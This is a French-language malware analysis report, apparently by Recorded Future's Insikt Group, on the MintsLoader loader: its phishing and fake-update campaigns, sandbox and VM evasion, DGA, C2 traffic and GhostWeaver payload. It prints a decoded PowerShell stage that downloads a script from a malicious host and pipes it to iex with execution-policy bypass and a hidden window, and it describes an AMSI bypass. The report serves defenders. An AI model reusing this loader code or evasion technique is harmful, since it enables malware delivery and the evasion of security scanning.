Tout savoir sur MintsLoader avec Recorded Future Malware Intelligence Hunting
Executive Summary
MintsLoader, un chargeur malveillant, a été observé pour la première fois lors de multiples campagnes de phishing et de téléchargements furtifs (drive-by) dès 2024. Le chargeur déploie couramment des charges utiles de deuxième étape, telles que GhostWeaver, StealC et un client BOINC (Berkeley Open Infrastructure for Network Computing) modifié. MintsLoader fonctionne via une chaîne d’infection en plusieurs étapes impliquant des scripts JavaScript et PowerShell dissimulés. Le malware utilise des techniques d’évasion de sandbox et de machines virtuelles, un algorithme de génération de domaine (DGA) et des communications Commande et Contrôle (C2) basées sur HTTP.
MintsLoader a été observé en train d’être utilisé par divers groupes de menace. Cependant, les opérateurs de TAG-124 (également connu sous le nom de LandUpdate808) l’ont employé de manière intensive. Le chargeur est déployé par plusieurs vecteurs d’infection : e-mails de phishing ciblant les secteurs industriel, juridique et énergétique (TAG-124), sites Web compromis se faisant passer pour des mises à jour de navigateur (SocGholish), leurres de type facture distribués via le système de messagerie certifié PEC en Italie, etc.
La technique d’obfuscation de MintsLoader complique les détections statiques telles que les règles YARA. Son utilisation d’une infrastructure C2 basée sur les algorithmes de génération de domaine (DGA) rend difficile la mise à jour des listes de surveillance ou des listes de blocage. De plus, ses techniques anti-analyse compliquent les détections basées sur l’hôte qui s’appuient sur les bacs à sable ou la virtualisation. Toutefois, le service Malware Intelligence Hunting de Recorded Future identifie de nouveaux échantillons de MintsLoader et les domaines C2 associés, et fournit une liste à jour pour les listes de blocage ou la recherche de menaces.
L’utilisation persistante par MintsLoader de l’obfuscation, de l’évasion de sandbox et de l’infrastructure adaptative garantit probablement sa présence continue au sein de l’écosystème des malwares, ce qui accroît probablement son utilisation par d’autres acteurs de la menace. Le rôle du malware en tant que mécanisme de diffusion polyvalent reflète la professionnalisation et la spécialisation croissantes au sein de la communauté des cybercriminels. Si cette sophistication accrue profite aux acteurs de la menace en leur permettant de mener des opérations plus résilientes et plus efficaces, elle offre en même temps aux défenseurs des possibilités d’identifier et de perturber les activités malveillantes de manière plus efficace et à grande échelle.
Key Findings
- Le script PowerShell de deuxième étape de MintsLoader utilise des techniques d’évasion de sandbox et d’environnement virtuel, réduisant sa sensibilité à l’analyse automatisée et augmentant sa probabilité de contourner les outils de détection dynamique.
- L’utilisation par MintsLoader d’un DGA pour générer des domaines C2 quotidiens en fonction de la date du système complique la surveillance de l’infrastructure et les détections basées sur les domaines/adresses IP.
- Malware Intelligence Hunting de Recorded Future fournit des domaines C2 à jour et d’autres artefacts liés à MintsLoader qui seraient difficiles à suivre autrement en raison de son infrastructure dynamique.
- Insikt Group montre que GhostWeaver est le principal malware déployé par MintsLoader dans les campagnes observées.
- Les certificats X.509 autosignés de GhostWeaver ressemblent à ceux d’AsyncRAT et de ses variantes, ce qui a conduit à l’origine à des erreurs d’associations avec d’autres familles de logiciels malveillants comme AsyncRAT.
Background
Orange Cyberdefense a détecté pour la première fois MintsLoader lors de campagnes de distribution à grande échelle entre juillet et octobre 2024. Insikt Group a identifié des campagnes antérieures en février 2024, sur la base de l'analyse Unit42 de Palo Alto concernant une infection SocGholish.
Le chargeur est constitué de scripts JavaScript (première étape) et PowerShell (deuxième étape) récupérés à partir de plusieurs domaines basés sur DGA. Le nom « MintsLoader » provient de son utilisation distinctive du paramètre URL s=mints[NUMBER] (par exemple, s=mints11). MintsLoader est généralement observé dans des campagnes diffusant des charges utiles secondaires telles que GhostWeaver, StealC et le client BOINC (Berkeley Open Infrastructure for Network Computing).
Bien que MintsLoader soit présumé être utilisé par plusieurs acteurs malveillants, des infections par TAG-124 (également connu sous le nom de LandUpdate808) ont fréquemment été observées lors du déploiement de MintsLoader. De plus, les auteurs de menaces utilisant SocGholish ont été parmi les premiers à adopter MintsLoader, ce qui a conduit à considérer initialement les campagnes MintsLoader comme étant exclusivement associées à SocGholish. Par exemple, en février 2024, l'équipe Unit42 de Palo Alto a publié des indicateurs liés à SocGholish (figure 2) ; cependant, l'analyse d'Insikt Group indique que les URL identifiées comme diffusant AsyncRAT correspondent également aux modèles d'URL connus de MintsLoader.
De même, en juillet 2024, Huntress Labs a signalé une infection SocGholish distribuant un client BOINC. Il est important de noter que l'URL utilisée pour télécharger BOINC correspond aux modèles d'URL connus de MintsLoader. La figure 3 présente une vue d'ensemble des acteurs malveillants qui utilisent MintsLoader.
Vous trouverez ci-dessous les campagnes récemment signalées impliquant MintsLoader.
Les pages MintsLoader et Kongtuke/ClickFix
Au début de l'année 2025, des analystes en sécurité ont observé une campagne de phishing distribuant MintsLoader en tant que chargeur de première phase. Les e-mails de phishing (ciblant les secteurs de l'énergie, du pétrole et du gaz, ainsi que le secteur juridique aux États-Unis et en Europe) contenaient soit une pièce jointe JavaScript malveillante, soit un lien vers une fausse page Web « Cliquez pour vérifier ». La figure 4 présente des exemples de pages ClickFix.
Dans les deux cas, cela a entraîné l'exécution de la deuxième étape de MintsLoader, basée sur PowerShell, sur l'ordinateur de la victime. Ce chargeur a téléchargé les dernières charges utiles, notamment le voleur d'informations StealC et une version modifiée du client BOINC. La campagne exploitait de fausses pages de vérification CAPTCHA (appâts ClickFix/KongTuke) pour inciter les utilisateurs à exécuter une commande PowerShell copiée, qui téléchargeait et exécutait MintsLoader (Figure 5).
D'autres chaînes d'infection dans cette campagne ont diffusé MintsLoader via un fichier téléchargé nommé « Fattura########.js ». fichier (en italien, « facture ») que les victimes ont ouvert, ce qui a entraîné l'exécution du même chargeur PowerShell. Les chercheurs de l'unité de réponse aux menaces d'eSentire ont signalé cette campagne et ont remarqué que les auteurs de ces attaques ciblaient principalement les services industriels et professionnels en Amérique du Nord et en Europe.
Campagnes « FakeUpdates » de SocGholish
Plusieurs rapports indiquent (1, 2) que les auteurs de la menace SocGholish (FakeUpdates) ont intégré MintsLoader dans leurs opérations. À partir de juillet 2024, les infections SocGholish provenant de sites Web compromis ont révélé des chaînes d'infection installant le client de calcul distribué BOINC via MintsLoader.
Dans cette campagne drive-by, illustrée à la figure 6, les victimes naviguant sur des sites légitimes mais compromis ont rencontré de fausses invites de mise à jour du navigateur (souvent issues d’un script update.js). En cas d’exécution, le JavaScript malveillant récupérait une charge utile MintsLoader obfusquée, déclenchant une séquence PowerShell en plusieurs étapes.
Huntress Labs a documenté deux résultats parallèles : une branche a abouti à l’exécution d’un AsyncRAT sans fichier s’exécutant en mémoire, l’autre à une installation furtive de BOINC sous le contrôle d’un pirate. Le déploiement de BOINC a été principalement modifié et configuré pour se connecter à un C2 malveillant plutôt qu’au serveur BOINC standard.
Dans certains cas, la porte dérobée GhostWeaver PowerShell (suivie par Mandiant sous le nom UNC4108) a également été distribuée via MintsLoader, offrant aux attaquants un point d'ancrage persistant et une plateforme pour charger des plugins supplémentaires.
Phishing de factures en Europe
Une autre campagne MintsLoader menée fin 2024 a ciblé des organisations européennes via des e-mails de phishing sous forme de factures, dont un exemple est présenté dans la figure 7. Les messages indésirables ont exploité le système PEC (courrier électronique certifié) italien pour renforcer leur légitimité et inciter les destinataires à ouvrir des fichiers JavaScript joints se faisant passer pour des factures. L'équipe de recherche de Spamhaus a baptisé cette attaque « l'arnaque à la facture PEC » et a souligné la manière dont les attaquants ont exploité des canaux de messagerie électronique fiables pour contourner les contrôles de sécurité. Cette campagne a été critiquée pour « avoir fait perdre du temps, de l'argent et la confiance des entreprises ».
Analyse technique
MintsLoader utilise une chaîne d’exécution en plusieurs étapes impliquant JavaScript et PowerShell, chaque étape employant des techniques d’obfuscation pour entraver l’analyse. Bien que MintsLoader fonctionne uniquement comme un chargeur sans capacités supplémentaires, ses principaux atouts sont ses techniques d’évasion de sandbox et de machines virtuelles, ainsi que son implémentation d’un DGA qui définit le domaine C2 en fonction du jour de son exécution. Ces capacités compliquent considérablement l’analyse statique et la détection basée sur l’hôte. Toutefois, ses communications C2 s’effectuent via HTTP, lequel constitue un vecteur fiable pour détecter et identifier de nouveaux échantillons. La figure 8 présente les capacités de haut niveau de MintsLoader.
Cette analyse de MintsLoader comprend des détails sur les charges utiles de première et de deuxième étape ainsi que sur l’infrastructure de MintsLoader.
Chaîne d'attaque MintsLoader
MintsLoader est généralement diffusé par le biais d’e-mails de phishing contenant des liens vers des pages KongTuke ou ClickFix. Lorsqu’elles sont exécutées, ces pages récupèrent et exécutent la première étape de JavaScript. Le fichier JavaScript est fortement obfusqué, et son exécution conduit à l’exécution d’une commande PowerShell pour télécharger et exécuter la deuxième étape de MintsLoader, comme illustré à la figure 9.
Cette deuxième étape effectue des vérifications de l’environnement pour déterminer si elle s’exécute dans un environnement de sandbox ou virtualisé. Ensuite, le script utilise un DGA pour générer le prochain domaine C2. MintsLoader tente enfin de contacter le domaine généré pour télécharger la charge utile finale, comme GhostWeaver, StealC ou le client BOINC. La figure 10 présente une vue d’ensemble de cette chaîne d’attaque.
Première étape : JavaScript
La première étape de MintsLoader consiste en un fichier JavaScript qui exécute une commande PowerShell pour récupérer la deuxième étape. Le script est fortement obfusqué à l’aide de commentaires inutiles, de variables et de noms de fonctions illisibles, de remplacements de caractères et d’encodage de chaînes (Figure 11). Insikt Group a trouvé 141 échantillons de première étape de MintsLoader à partir de données issues de Recorded Future Malware Intelligence Hunting (Annexe A).
La fonction principale de la charge utile JavaScript de la première étape consiste à exécuter une commande PowerShell qui exécute la commande « curl -useb http://[domaine]/1.php?s=[campagne] », qui télécharge et exécute la deuxième étape. Lorsque « curl » est utilisé dans PowerShell avec l'option « -useb », il s'agit d'un alias pour Invoke-WebRequest, et le programme cURL n'est pas réellement utilisé pour effectuer la requête HTTP.
Insikt Group a identifié trois versions distinctes du chargeur de première étape, qui utilisent toutes les mêmes techniques d’obfuscation JavaScript mais diffèrent dans l’implémentation du PowerShell déployé.
La première variante exécute la commande PowerShell en texte clair, avec le domaine C2 intégré en dur, comme illustré dans la figure 12. Cette variante est observée dans les campagnes « mints13 » et « flibabc11 ».
Dans la deuxième variante, la commande PowerShell est obfusquée par un remplacement de caractères. Le domaine C2 est toujours codé en dur, un alias pour la commande curl étant utilisé à la place, mais l’objectif reste de télécharger l’étape suivante (Figure 13). Il s’agit de la variante la plus utilisée dans les campagnes « flibabc21 », « flibabc22 », « mints11 », « mints13 », « mints21 » et « mints42 ».
La troisième variante encode la commande en base64 (Figure 14). Insikt Group a observé que cette méthode était employée avec l’ancienne campagne « mints13 ».
Cependant, dans cette version, la commande PowerShell crée un fichier contenant la commande PowerShell pour télécharger la deuxième étape via cURL. Elle exécute ensuite le fichier et le supprime.
$randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_ });
$currentTimeHour = [int](Get-Date -Format HH);
$currentTimeMinute = [int](Get-Date -Format mm);
$minuteAdjustment = 3;
If ($currentTimeMinute + $minuteAdjustment -gt 59) {
$currentTimeHour = $currentTimeHour + 1;
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60;
} Else {
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment;
};
$currentTimeHour = If (([int](Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour };
$randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ });
$scriptToExecute = @"
$ErrorActionPreference = "Continue"
curl -useb "http://gibuzuy37v2v\[.]top/1.php?s=mints13" | iex;
Remove-Item "C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force
"@;
"powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File -FilePath "C:\Users\Public\Documents\$($randomNamePart2).ps1";
powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File "C:\Users\Public\Documents\$($randomNamePart2).ps1";
Remove-Item "$env:APPDATA\*.ps1" -Force
Remove-Item "$env:APPDATA\*.bat" -Force
Table 1: Texte en base64 décodé de la première étape de PowerShell (Source : Recorded Future)
Communication C2 de première étape
L’exécution de n’importe quelle variante entraîne une requête HTTP GET vers le domaine codé en dur pour récupérer la charge utile de la deuxième étape. Une requête réussie récupère et exécute le script PowerShell présenté dans la Figure 15.
Si le domaine DGA n’est plus valide, une réponse 302 est renvoyée, comme le montre la figure 16.
PowerShell — étape deux
La deuxième étape, PowerShell, contient une chaîne encodée en base64. Après le décodage XOR et la décompression, la charge utile principale, qui est également obfusquée, est générée. La figure 17 montre un extrait de cette charge utile, illustrant les techniques de construction de chaînes obfusquées de MintsLoader.
Après la désobfuscation et le décodage initiaux, la deuxième étape de PowerShell commence par tenter de contourner l'interface de scan anti-malware (AMSI) à l'aide d'une technique connue permettant de simuler un échec d'initialisation de l'AMSI : en définissant la variable amsiInitFailed de l'objet System.Management.Automation.AmsiUtils sur TRUE.
Le reste du code est chargé d'exécuter trois requêtes d'informations système : les valeurs de retour utilisées dans les expressions logiques pour détecter si le système fonctionne sur du matériel nu, dans un bac à sable ou sur une machine virtuelle. Cette information est transmise au C2 via une variable entière envoyée en tant que clé de paramètre URL, et le C2 examine sa valeur afin de déterminer si sa réponse renverra une troisième étape qui téléchargera la charge utile finale ou un leurre. Il convient de noter que les valeurs entières constantes utilisées pour incrémenter la variable clé changent à chaque échantillon de deuxième étape.
Le résultat de chaque requête d'informations système est vérifié par rapport à trois expressions logiques, dont l'ordre varie selon l'échantillon, ainsi qu'à des constantes qui incrémentent la clé, dont les résultats affectent la valeur de la variable clé. Les expressions logiques peuvent ne pas fournir de résultats apparents lors d'une première inspection. Par exemple, si la première vérification du système déobfuscée, illustrée ci-dessous dans la figure 18, était exécutée sur une machine virtuelle, la variable $isVirtualMachine serait égale à $true. " L'expression logique « "$true -eq 3 » renvoie la valeur « $true » dans PowerShell, augmentant ainsi la clé de 15310805757 au lieu de 83670406277.
La deuxième vérification du système interroge le membre AdapterDACType de l'objet WMI Win32_VideoController afin d'obtenir le nom ou l'identifiant de la puce du convertisseur numérique-analogique (DAC), comme illustré à la figure 19. Ceci détermine si le système infecté fonctionne sur un émulateur ou virtuellement. En règle générale, un système Windows renvoie l'", Internal" et/ou "Integrated RAMDAC,", ce qui incrémenterait la clé de 14467965888 dans cet exemple.
La troisième vérification du système interroge le membre « purpose » de l'objet WMI Win32_CacheMemory, qui sera égal à « "L1 Cache" » sur un système Windows classique. L'expression logique non évidente "$l1CachePurpose.length —gt 4" s'exécutera dans le cas optimal, incrémentant la valeur de la clé de 27424330481 dans l'exemple déobfuscité présenté à la figure 20.
La vérification et le calcul de la clé sont suivis de la génération d'une graine aléatoire basée sur la date et une constante, qui est utilisée avec un objet system.Random pour construire le domaine à l'aide d'un DGA simple et du chemin d'accès URL, comme illustré à la figure 21. L'auteur a peut-être commis une erreur en n'utilisant pas la deuxième variable aléatoire pour construire le chemin d'accès URL. Au lieu de cela, ils utilisent une variable non définie pour la fin du chemin d'accès URL, ce qui rend la fin du chemin d'accès URL constante "htr.php". Veuillez noter que dans PowerShell, curl est un alias pour Invoke-WebRequest, qui est utilisé pour générer la requête vers le C2 pour la troisième étape. Par conséquent, l'en-tête HTTP User-Agent inclura les informations de version de PowerShell, et non celles de curl.
Communication C2 de deuxième étape
La figure 22 illustre un exemple de requête MintsLoader pour la charge utile finale, avec un chemin d'accès URL se terminant par htr.php. Le paramètre URL id correspond au nom d'hôte, et le paramètre URL s correspond à l'ID de la campagne.
Un exemple d’une requête MintsLoader antérieure pour la troisième étape est illustré à la figure 23, où le chemin de l’URL n’est pas aléatoire mais remplacé par la chaîne constante « 2.php ».
Si la demande de deuxième étape ne répond pas à des exigences spécifiques, la charge utile finale peut mener à un exécutable leurre (Figure 24), comme dans cet exemple, qui conduit à un exécutable leurre AsyncRAT téléchargé depuis le site temp[.]. Cette association avec AsyncRAT a conduit à une première désignation dans les rapports et à certaines contre-mesures pour le trafic réseau sous le nom d'"AsyncRAT Loader", ce qui a entraîné le marquage incorrect des échantillons de logiciels malveillants MintsLoader comme AsyncRAT, même si les campagnes MintsLoader actuelles ne déploient pas AsyncRAT.
Une récente tentative réussie est illustrée dans la figure 25 ; dans cet exemple, la charge utile finale est GhostWeaver.
GhostWeaver
L'une des charges utiles les plus couramment déployées par MintsLoader est GhostWeaver, un cheval de Troie d'accès à distance (RAT) basé sur PowerShell qui présente des similitudes de code et des fonctionnalités similaires à celles de MintsLoader. Il est important de noter que GhostWeaver peut déployer MintsLoader en tant que charge utile supplémentaire via sa commande sendPlugin. La communication entre GhostWeaver et son serveur de commande et de contrôle (C2) est sécurisée par un chiffrement TLS utilisant un certificat X.509 obscurci et auto-signé intégré directement dans le script PowerShell, qui est utilisé pour l'authentification côté client auprès de l'infrastructure C2.
GhostWeaver a été régulièrement classé à tort comme AsyncRAT. Insikt Group estime avec un degré de confiance modéré que cette erreur de classification provient du fait que Palo Alto Networks a initialement identifié un échantillon GhostWeaver. (SHA256 : fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765) comme une variante sans fichier d'AsyncRAT. GhostWeaver et AsyncRAT partagent certaines caractéristiques au sein de leurs certificats X.509 auto-signés, telles que des dates d'expiration et des longueurs de numéro de série identiques. Cependant, ces similitudes peuvent simplement refléter des méthodes communes de génération de certificats plutôt qu'un chevauchement opérationnel significatif.
Infrastructure MintsLoader
Insikt Group a initialement trouvé des serveurs MintsLoader C2 hébergés uniquement sur BLNWX, mais a ensuite observé une utilisation croissante d’autres FAI tels que Stark Industries Solutions Ltd (AS44477), GWY IT Pty Ltd (AS199959) ou SCALAXY-AS (58061), entre autres. Les adresses IP MintsLoader C2 annoncées via SCALAXY-AS sont exploitées par les fournisseurs d’hébergement 3NT Solutions LLP et IROKO Networks Corporation, qui font tous deux partie du fournisseur d’hébergement russophone à toute épreuve Inferno Solutions (inferno[.]name). Le passage à SCALAXY-AS et Stark Industries Solutions suggère que les opérateurs de MintsLoader sont passés de fournisseurs de serveurs privés virtuels (VPS) anonymes à des hébergeurs éprouvés plus conventionnels, probablement dans le but de renforcer leur infrastructure contre les tentatives de suppression et d’améliorer la stabilité opérationnelle.
Au cours des derniers mois, Insikt Group a identifié une série d’identifiants de campagnes supplémentaires et de charges utiles suspects (Tableau 2). Ces données sont compilées à partir de recherches ouvertes et d’études internes d’Insikt Group.
Table 2: Identifiants de campagnes MintsLoader suspectes (source : Recorded Future)
Deux identifiants de campagne supplémentaires, js2 et dav, ont été observés en 2023, js2 ayant été identifié dans une infection AsyncRAT.
To read the entire analysis, click here to download the report as a PDF.